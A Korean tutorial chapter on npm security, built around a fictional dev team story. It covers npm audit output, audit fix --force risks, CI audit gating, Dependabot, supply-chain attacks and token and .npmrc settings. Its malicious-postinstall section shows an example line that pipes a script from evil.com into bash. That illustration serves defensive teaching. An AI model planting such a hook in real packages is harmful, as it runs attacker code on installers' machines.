08. 보안 & npm audit

📋 목차

• 📌 이 문서를 읽기 전에
• 🤔 왜 알아야 하는가
• 🔍 npm audit 해부
• 🚦 취약점 심각도 등급과 대응 전략
• 🔧 npm audit fix
• ⚙️ CI 파이프라인 audit 자동화
• 🛡️ 공급망 공격 방어
• 🔑 npm 토큰 & .npmrc 보안 설정
• 🏁 총정리
• 📝 마무리 퀴즈
• 🐣 영철이의 퇴근 일기
• 🔗 더 알아보기

📌 이 문서를 읽기 전에

⏱️ 예상 읽기 시간: 약 30분(전체) / 핵심 파트만: 15분

🗺️ 이 문서의 흐름

[npm audit 원리] → [심각도 등급 & 대응] → [CI 자동화] → [공급망 공격 방어] → [토큰 & .npmrc 보안]

🎯 이 문서를 다 읽으면 할 수 있는 것

• npm audit 결과를 정확하게 해석하고 우선순위를 정할 수 있다
• npm audit fix --force 의 위험성을 이해하고 안전하게 쓸 수 있다
• GitHub Actions에서 취약점 자동 감지 & 차단 파이프라인을 구성할 수 있다
• 공급망 공격(Dependency Confusion, Typosquatting)의 패턴을 알고 방어할 수 있다
• npm 토큰을 안전하게 관리하고 .npmrc 를 보안 관점에서 설정할 수 있다

🗺️ 이 문서의 배경 세계관: '영수네 커뮤니티'

• 🐣 영철 ( 신입 ): "영수 님, 배포하고 나서 Slack에 갑자기 알림이 왔는데요... 저희 node_modules 안에 critical 취약점이 5개나 있대요. 솔직히 처음 보는 얘긴데 어떻게 해야 하나요? npm audit fix 한 번 돌리면 다 해결되나요? 아니면 그냥 무시해도 되는 건가요? 사용자가 직접 쓰는 패키지가 아니라 devDependencies 쪽인 것 같은데 그러면 괜찮은 거 아닌가요?"
• 🦁 영호 ( 리드 ): "영철 님, devDependencies 니까 괜찮다는 생각은 절반만 맞아요. 빌드 서버에서 악성 코드가 실행되면 소스코드 전체가 유출될 수 있거든요. npm audit fix --force 는 지금 당장 돌리지 마세요 — breaking change가 섞여 들어와서 더 큰 장애로 번질 수 있어요. 먼저 심각도 등급을 분류하고, CI에서 --audit-level 로 차단 기준을 잡은 다음, 수동으로 버전을 올리는 루틴을 만드는 게 시니어 수준의 대응이에요."

🤔 왜 알아야 하는가

패키지 하나가 전 세계를 멈춘 날

2022년, colors.js 라는 패키지에 단 하나의 무한 루프가 심어졌다. 하루아침에 AWS CDK, Nest.js 생태계가 마비됐다. 이 패키지의 주간 다운로드 수는 약 2,000만 건 이었다.

2021년에는 더 충격적인 일이 있었다. ua-parser-js 라는 패키지(주간 700만 다운로드)가 해킹되어 크립토 마이너와 패스워드 탈취 스크립트 가 심어진 채로 npm에 배포됐다. 이 패키지를 dependencies 로 쓰는 서비스의 사용자 PC에서 악성코드가 실행됐다.

영수네 커뮤니티처럼 next, @prisma/client, axios, @tanstack/react-query 를 쓰는 서비스라면, 이 패키지들 각각이 또 수십~수백 개의 간접 의존성을 끌고 온다. 영철이가 package.json 에 직접 적은 줄은 20줄이지만, 실제 설치되는 패키지는 수백 개다.

이 중 하나라도 뚫리면 우리 서비스도 그 연쇄 반응에서 자유롭지 않다.

이것이 npm 보안을 "선택"이 아닌 "기본"으로 다뤄야 하는 이유다.

🔍 npm audit 해부

npm audit 은 어떻게 동작하는가

npm audit 은 현재 프로젝트의 의존성 트리를 npm Advisory Database ( 및 GitHub Advisory Database ) 와 비교해 알려진 취약점(CVE)을 보고한다.

npm audit

내부 동작 순서:

1. package-lock.json 파싱 → 의존성 트리 전체 수집
2. npm 레지스트리 audit endpoint (POST /-/npm/v1/security/audits) 에 목록 전송
3. Advisory DB와 교차 비교
4. 취약점 발견 시 CVE ID, 패키지명, 영향 버전 범위, 심각도 반환
5. 터미널에 리포트 출력

audit 결과 읽는 법

# npm audit

found 8 vulnerabilities (2 moderate, 4 high, 2 critical)

# Run `npm audit fix` to fix them, or `npm audit fix --force` to fix all of them, including breaking changes.

상세 리포트는 npm audit --json 으로 파싱 가능한 JSON 형태로 받을 수 있다.

npm audit --json | jq '.vulnerabilities | keys[]'

🦁 영호 리드의 핵심 포인트: JSON 리포트 구조 이해

{
  "vulnerabilities": {
    // 💡 범인 검거! axios 패키지에 심각한 취약점이 발견됐습니다.
    "axios": {
      "name": "axios",
      "severity": "high", // 🦁 위험도가 'high'니 빨리 고쳐야 해요.
      "isDirect": true, // 🐯 내 package.json에 직접 써있는 녀석이니 내가 직접 올리면 됩니다!
      "via": ["GHSA-wf5p-g6vw-rhxx"],
      "effects": ["@tanstack/react-query"],
      "range": ">=0.8.1 <1.6.0",
      "nodes": ["node_modules/axios"],
      "fixAvailable": {
        "name": "axios",
        "version": "1.6.0",
        "isSemVerMajor": false // 💡 다행히 Major 업데이트가 아니니 안전하게 올릴 수 있어요!
      }
    }
  },
  "metadata": {
    "vulnerabilities": {
      "total": 8 // 전체 8개의 구멍(?)이 발견됐습니다.
    }
  }
}

핵심 필드 해석:

🚦 취약점 심각도 등급과 대응 전략

5단계 심각도 등급

devDependencies 취약점은 무시해도 될까?

절반만 맞는 말이다.

✅ 안전한 경우: 빌드 결과물(번들)에 포함되지 않는 순수 로컬 도구
   예: eslint, prettier, jest, storybook

⚠️ 위험한 경우:
  1. 빌드 서버(CI/CD)에서 실행되는 postinstall 스크립트
  2. 빌드 과정에서 코드를 읽고 처리하는 webpack plugin, babel plugin
  3. private 패키지 레지스트리 인증 정보가 노출되는 경우

실제 공격 시나리오:

1. 악성 패키지가 devDependency 로 설치됨
2. package.json 의 postinstall 스크립트 자동 실행
3. 빌드 서버의 환경변수(GITHUB_TOKEN, AWS_SECRET_KEY) 탈취
4. 소스코드 전체 외부 전송

즉, CI 환경에서 실행되는 devDependencies 취약점은 critical 수준으로 다뤄야 한다.

🔧 npm audit fix — 자동 수정의 명과 암

npm audit fix (안전한 버전)

SemVer 범위 내에서만 업그레이드한다. ^ 버전 제약 조건 안에서 움직이므로 breaking change 가 거의 없다.

npm audit fix

# 실행 결과 예시
fixed 4 of 8 vulnerabilities in 312 packages
  4 vulnerabilities required manual review and could not be updated

npm audit fix --force (위험한 버전)

Major 버전 업그레이드, 즉 breaking change 를 포함한 모든 자동 수정을 강행한다.

# 🚨 주의: 이 명령은 신중하게 사용해야 한다
npm audit fix --force

🐣 영철이가 자주 저지르는 실수:

# ❌ 순진한 접근 — "그냥 다 고쳐버리자"
npm audit fix --force
git add .
git commit -m "fix: 보안 취약점 수정"
git push origin main

🦁 영호 리드의 안전한 대응 루틴:

# ✅ 시니어의 접근 — 단계별로 안전하게
 
# Step 1: 현황 파악
npm audit --json > audit-report.json
jq '.vulnerabilities | to_entries[] | select(.value.severity == "critical" or .value.severity == "high") | .key' audit-report.json
 
# Step 2: isDirect 인 취약점만 먼저 수동 업그레이드
npm install axios@latest
npm install next@latest
 
# Step 3: 간접 의존성은 overrides 로 고정
# package.json 에 추가:
# "overrides": {
#   "semver": "^7.5.4"
# }
 
# Step 4: SemVer 안전 범위 내 자동 수정
npm audit fix
 
# Step 5: 테스트 실행 후 커밋
npm run test
npm run build
git add package.json package-lock.json
git commit -m "fix: npm audit 취약점 수동 수정 (axios, semver)"

overrides 로 간접 의존성 핀 고정

// package.json
{
  "overrides": {
    // 🦁 "semver"라는 패키지가 어디 깊숙이 숨어있든 간에, 무조건 ^7.5.4 버전을 써라!
    // 간접 의존성 취약점을 잡는 가장 강력한 무기입니다.
    "semver": "^7.5.4",
    // 특정 패키지(node-forge)가 쓰는 것만 콕 집어서 바꿀 수도 있어요.
    "node-forge": {
      "semver": "^7.5.4"
    }
  }
}

⚙️ CI 파이프라인에서 audit 자동화

--audit-level 플래그

CI에서는 특정 심각도 이상이면 파이프라인을 실패시킬 수 있다.

# critical, high 취약점이 있으면 exit code 1 (빌드 실패)
npm audit --audit-level=high
 
# moderate 이상이면 실패
npm audit --audit-level=moderate

GitHub Actions 완성형 설정

# .github/workflows/security-audit.yml
name: Security Audit
 
on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]
  # 🦁 매일 오전 9시에도 자동 실행 (새로 발견된 CVE 대응)
  schedule:
    - cron: '0 0 * * 1-5'  # 평일 매일 UTC 00:00 (KST 09:00)
 
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
 
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version-file: '.nvmrc'
          cache: 'npm'
 
      - name: Install dependencies
        # 🦁 CI에서는 npm ci — lock파일 기준으로 완전 재현
        run: npm ci
 
      - name: Run security audit
        # high, critical 에서 빌드 차단
        run: npm audit --audit-level=high
        # 🐣 영철: "moderate 도 막아야 하지 않나요?"
        # 🦁 영호: "moderate 까지 막으면 false positive 가 너무 많아서 팀이 지쳐요.
        #          high/critical 차단 + moderate 는 이슈 생성으로 관리하는 게 현실적이에요."
 
      - name: Create issue on audit failure
        if: failure()
        uses: actions/github-script@v7
        with:
          script: |
            const { data: issues } = await github.rest.issues.listForRepo({
              owner: context.repo.owner,
              repo: context.repo.repo,
              labels: 'security',
              state: 'open'
            });
 
            // 이미 열린 security 이슈가 없을 때만 새로 생성
            if (issues.length === 0) {
              await github.rest.issues.create({
                owner: context.repo.owner,
                repo: context.repo.repo,
                title: '🚨 [Security] npm audit 취약점 감지',
                body: `## 보안 취약점이 감지되었습니다\n\n- 발생 시각: ${new Date().toISOString()}\n- 워크플로우: ${{ github.workflow }}\n- 커밋: ${{ github.sha }}\n\n\`npm audit\` 결과를 확인하고 즉시 조치해주세요.`,
                labels: ['security', 'high-priority']
              });
            }

Dependabot 자동 PR 설정

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
      time: "09:00"
      timezone: "Asia/Seoul"
    # 🦁 한 번에 너무 많은 PR 이 열리면 팀이 지침 — 상한선 설정
    open-pull-requests-limit: 5
    # Major 업그레이드는 수동으로만
    ignore:
      - dependency-name: "next"
        update-types: ["version-update:semver-major"]
      - dependency-name: "react"
        update-types: ["version-update:semver-major"]
    reviewers:
      - "youngho-lead"
    labels:
      - "dependencies"
      - "security"

🛡️ 공급망 공격 방어 — 진짜 시니어의 영역

공격 유형 1: Typosquatting (오타 낚시)

유명 패키지와 비슷한 이름의 악성 패키지를 npm 에 등록하는 공격이다.

📦 정상 패키지         🎣 악성 타이포스쿼팅
lodash               1odash (소문자 L → 숫자 1)
react                reect
express              expres
@babel/core          babe1/core

방어법: 설치 전 반드시 확인

# 패키지 정보 확인 — 주간 다운로드 수, 최초 퍼블리시 날짜, 유지보수자 확인
npm info lodash
 
# 공식 GitHub URL 이 있는지 확인
npm info lodash homepage
 
# 🐣 영철이가 모르면 당할 수 있는 패턴:
# npm install @yarnpkg/lockfile  ← 정상
# npm install @yarmpkg/lockfile  ← m이 빠진 악성 패키지

공격 유형 2: Dependency Confusion

내부 private 패키지와 같은 이름을 public npm 에 등록하여, CI 서버가 public 악성 패키지를 설치하도록 유도하는 공격이다.

상황: 영수네 커뮤니티 내부 패키지 @youngsu/ui-components 사용 중
      사내 Verdaccio (private registry) 에서만 배포

공격: 해커가 public npm 에 @youngsu/ui-components 동일 이름 + 높은 버전 등록
      npm 은 기본적으로 더 높은 버전을 선호하므로 public 악성 패키지 설치

방어법: 스코프를 private registry 에 고정

# .npmrc
# 🦁 [철통 보안] 우리 팀 전용 스코프(@youngsu)는 외부npm이 아니라 사내 서버에서만 가져와!
# 이렇게 하면 해커가 똑같은 이름으로 가짜 패키지를 올려도 낚이지 않아요.
@youngsu:registry=https://registry.youngsu-internal.com/
//registry.youngsu-internal.com/:_authToken=${INTERNAL_REGISTRY_TOKEN}
 
# 나머지 일반 패키지들은 평소대로 공식 레지스트리에서 받습니다.
registry=https://registry.npmjs.org/

// package.json 에도 명시 (이중 방어)
{
  "publishConfig": {
    "registry": "https://registry.youngsu-internal.com/",
    "access": "restricted"
  }
}

공격 유형 3: Malicious postinstall 스크립트

패키지의 postinstall 스크립트로 설치 즉시 악성 코드를 실행하는 공격이다.

// 악성 패키지의 package.json (예시)
{
  "name": "malicious-pkg",
  "scripts": {
    "postinstall": "curl https://evil.com/steal.sh | bash"
  }
}

방어법: ignore-scripts 옵션

# 설치 시 스크립트 실행 비활성화
npm install --ignore-scripts
 
# .npmrc 에 프로젝트 전체 적용
# ignore-scripts=true

주의: ignore-scripts=true 는 husky 같은 정상적인 postinstall 훅도 막으므로, CI 환경에서만 선택적으로 적용하는 것이 현실적이다.

# GitHub Actions 에서만 적용
- name: Install (CI, scripts 비활성화)
  run: npm ci --ignore-scripts
  env:
    NODE_ENV: production

npm audit signatures (패키지 무결성 검증)

npm v8.13.0 이상에서 지원. 패키지의 ECDSA 서명을 검증하여 레지스트리에서 받은 그대로임을 확인한다.

npm audit signatures
 
# Audited 312 packages for signatures.
# ✓ 312 packages have valid signatures.

package-lock.json 의 integrity 필드가 이미 하나의 방어선:

// package-lock.json
{
  "node_modules/axios": {
    "version": "1.6.7",
    "resolved": "https://registry.npmjs.org/axios/-/axios-1.6.7.tgz",
    // SHA-512 해시 — 파일이 변조되면 설치 시 자동 감지
    "integrity": "sha512-/hDJGff6/c7u0hDkvkGxR/ib3jet...",
    "license": "MIT"
  }
}

🔑 npm 토큰 & .npmrc 보안 설정

npm 토큰의 종류

🦁 영호 리드의 원칙: Granular Token + 최소 권한

# npm 웹사이트 → Access Tokens → Generate New Token → Granular Access Token
# 설정: 특정 패키지만, publish 권한만, IP 허용 목록 지정

.npmrc 보안 설정

# .npmrc (프로젝트 루트 — git에 커밋)
# 🦁 레지스트리 주소 고정 (MITM 공격 방어)
registry=https://registry.npmjs.org/
 
# 패키지 설치 시 스크립트 감사 강도
# (기본값이지만 명시적으로 선언)
audit=true
audit-level=high
 
# 🦁 lock 파일 없으면 설치 실패 (CI 안전장치)
# package-lock.json 없이 npm ci 를 시도하면 즉시 에러
# (npm ci 자체가 lock 파일 강제하므로, npm install 방지용)
 
# save-exact=true → ^ 없이 정확한 버전 고정 (선택 사항)
# save-exact=true

# ~/.npmrc (홈 디렉토리 — 절대 git 에 커밋하지 말 것!)
# 개인 npm 토큰 (환경변수로 관리하거나 여기에 직접 저장)
//registry.npmjs.org/:_authToken=npm_xxxxxxxxxxxx
 
# private registry 인증
//registry.youngsu-internal.com/:_authToken=${INTERNAL_REGISTRY_TOKEN}

CI 에서 토큰 주입 방법

# .github/workflows/publish.yml
- name: Setup npm auth
  run: |
    echo "//registry.npmjs.org/:_authToken=${{ secrets.NPM_TOKEN }}" > ~/.npmrc
  # 🦁 .npmrc 파일을 직접 만들어주는 방법
  # npm 공식 방법은 NODE_AUTH_TOKEN 환경변수 사용
 
- name: Publish (공식 방법)
  run: npm publish
  env:
    NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

절대 하지 말아야 할 것들:

# ❌ 토큰을 코드에 직접 하드코딩
//registry.npmjs.org/:_authToken=npm_REAL_TOKEN_HERE  # git 에 올리면 즉시 탈취
 
# ❌ .npmrc 를 .gitignore 없이 커밋
# ❌ 팀 공유 Slack 에 토큰 붙여넣기
# ❌ 한 토큰으로 모든 권한 부여 (최소 권한 원칙 위반)

토큰 탈취 시 즉시 대응

# 1. 즉시 토큰 만료
npm token revoke npm_xxxxxxxxxxxx
 
# 2. 모든 활성 토큰 목록 확인
npm token list
 
# 3. 해당 토큰으로 배포된 패키지 버전 즉시 unpublish (72h 이내만 가능)
npm unpublish my-package@1.2.3
 
# 4. 새 토큰 발급 후 CI/CD 시크릿 교체

🏁 총정리

npm 보안 5대 원칙 (영호 리드 버전)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

1. [알고 쓰기]      npm audit → JSON 파싱 → 심각도 분류 → 수동 수정 루틴
2. [CI 에 심어두기]  --audit-level=high 로 high/critical 자동 차단
3. [공급망 경계]    Typosquatting 체크, private 스코프 registry 고정
4. [최소 권한]      Granular Token, .npmrc 는 홈디렉토리, CI는 환경변수
5. [정기 점검]      Dependabot + 스케줄 audit 으로 새 CVE 자동 감지

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

📝 마무리 퀴즈

Q1. npm audit 에서 취약점의 isDirect: true 와 isDirect: false 는 각각 무엇을 의미하며, 대응 방법에 어떤 차이가 있는가?

✅ 정답: isDirect: true 는 package.json 에 직접 명시된 의존성의 취약점으로 npm install 패키지@안전버전 으로 직접 버전을 올릴 수 있다. isDirect: false 는 간접 의존성(transitive dependency)의 취약점으로 직접 package.json 을 수정할 수 없으며, "overrides" 필드 로 해당 패키지 버전을 강제 고정하거나 상위 직접 의존성의 버전을 올려 해결해야 한다.

💡 상세 해설:

• 직접 의존성 대응: npm install axios@1.6.7 → package.json 의 axios 버전 범위 갱신 → lock 파일 자동 업데이트
• 간접 의존성 대응: package.json 의 "overrides": { "semver": "^7.5.4" } 로 어느 깊이에 있든 해당 패키지 버전을 강제 고정
• 📌 핵심 기억법: isDirect: true → 내가 직접 고칠 수 있다. isDirect: false → overrides 로 강제한다.

Q2. Dependency Confusion 공격이란 무엇이며, npm 설정으로 어떻게 방어할 수 있는가?

✅ 정답: 해커가 내부 private 패키지와 동일한 이름 의 패키지를 public npm 레지스트리에 더 높은 버전으로 등록하면, npm 이 public 악성 패키지를 선호하여 설치하는 공격이다. 방어법은 .npmrc 에서 private 스코프를 사내 registry 에 명시적으로 고정 하는 것이다: @mycompany:registry=https://사내registry주소/

💡 상세 해설:

• npm 은 같은 이름의 패키지가 여러 레지스트리에 있을 때 버전이 더 높은 쪽을 선택한다
• 해커는 이 동작을 악용하여 9999.0.0 처럼 임의로 높은 버전을 붙인 악성 패키지를 public npm 에 등록한다
• .npmrc 에 @mycompany:registry=... 를 명시하면 해당 스코프는 지정된 레지스트리 외부를 참조하지 않는다
• 📌 핵심 기억법: "스코프를 private registry 에 주소록 등록하듯 고정하면 외부 전화(public npm) 는 안 받는다."

Q3. 영철이의 테스트 타임: 긴급 디버깅 (영수의 호통)

영수 님이 오후 6시에 Slack으로 메시지를 보냈다.

"영철 님, CI 로그 보셨어요? npm audit 에서 critical 2개가 떴는데 배포 차단됐어요. 오늘 안에 처리해야 해요."

영철이는 당황해서 즉시 이렇게 실행했다:

npm audit fix --force
git add .
git commit -m "fix: critical 취약점 수정"
git push origin main

그런데 배포 후 Next.js 앱이 시작되지 않는다. 영호 리드가 로그를 보니 next@15 로 갑자기 Major 업그레이드가 됐고, app/ 디렉토리 구조가 인식되지 않는 오류다.

영철이가 잘못한 점과, 올바른 대응 순서는 무엇인가?

✅ 정답: npm audit fix --force 를 맹목적으로 사용한 것 이 잘못이다. --force 는 SemVer breaking change 를 포함한 Major 업그레이드를 강행하므로 반드시 isSemVerMajor 여부를 확인 후 수동으로 처리 해야 한다. 올바른 순서: npm audit --json 으로 취약점 파악 → isDirect 인 것만 수동 버전 업 → 간접 의존성은 overrides → npm audit fix (force 없이) → 테스트/빌드 확인 → 커밋.

💡 상세 해설:

• --force 의 정체: SemVer Major 버전을 포함한 모든 업그레이드를 허용한다. next@14 → next@15 처럼 완전히 다른 API 체계로 바꿔버릴 수 있다.
• fixAvailable.isSemVerMajor: true 인 패키지는 --force 로 자동 수정하지 말고, 마이그레이션 가이드를 읽고 수동으로 업그레이드해야 한다.
• 오답 피드백: "영철 님, --force 는 '만능 해결사'가 아니라 '폭탄 제거를 눈 감고 하는 것'이에요. 취약점 로그보다 더 큰 장애를 만들 수 있어요."
• 📌 핵심 기억법: audit fix 는 안전 범위 내 수술, audit fix --force 는 마취 없는 장기 교체 — 반드시 마이그레이션 플랜을 먼저.

🐣 영철이의 퇴근 일기

오늘 진짜 심장 쫄깃한 하루였다.

오후 6시에 영수 님 메시지 받고 처음에 솔직히 '에이 그냥 npm audit fix --force 한 번 돌리면 되겠지' 라고 생각했는데... 영호 리드 님이 딱 막으셨다. 그리고 차근차근 JSON 파싱하고, isDirect 찾고, overrides 에 꽂아 넣고, 마지막에 audit fix (force 없이)로 마무리하는 루틴을 보여주셨다.

솔직히 처음엔 "이렇게까지 해야 해요?" 싶었는데, 만약 내가 혼자서 --force 눌렀으면 next@15 로 날아가서 다시 롤백하느라 밤새웠을 거라고 생각하니 식은땀이 났다.

💡 오늘의 교훈: "npm audit fix --force 는 만능 치료제가 아니라 마취 없는 수술이다. 취약점 로그를 먼저 읽고, 수동으로, 단계별로."

그리고 Dependency Confusion 이야기 들었을 때 진짜 섬뜩했다. 내부 패키지 이름을 public npm 에 올려서 CI 서버를 낚는다고? 이게 실제로 일어난 공격이라니. .npmrc 에 @youngsu:registry=사내주소 이 한 줄이 진짜 방어선이었구나.

오늘 배운 것들 — audit 결과 JSON 읽는 법, isDirect vs overrides, CI 파이프라인 --audit-level, Dependabot 설정, .npmrc 스코프 고정, npm 토큰 granular 설정 — 다 합치니까 진짜 '보안을 아는 개발자'가 되는 느낌이다.

npm 커리큘럼 마지막 챕터까지 왔다. 멘탈 모델부터 package.json, SemVer, 의존성 분류, lock 파일, 스크립트 훅, Next.js 설정, 그리고 오늘 보안까지. 8개 챕터를 달렸는데 벌써 끝이라니 아쉽기도 하고 뿌듯하기도 하다.

오늘 저녁은 치킨이다. 보안 챕터 마쳤으니까 이 정도 보상은 받아야지.

🔗 더 알아보기

• npm Advisories Database
• npm audit 공식 문서
• npm Audit Signatures 발표 블로그
• Dependency Confusion 원본 연구 (Alex Birsan, 2021)
• OpenSSF Scorecard — 오픈소스 패키지 보안 점수 확인
• Socket.dev — 실시간 npm 공급망 공격 모니터링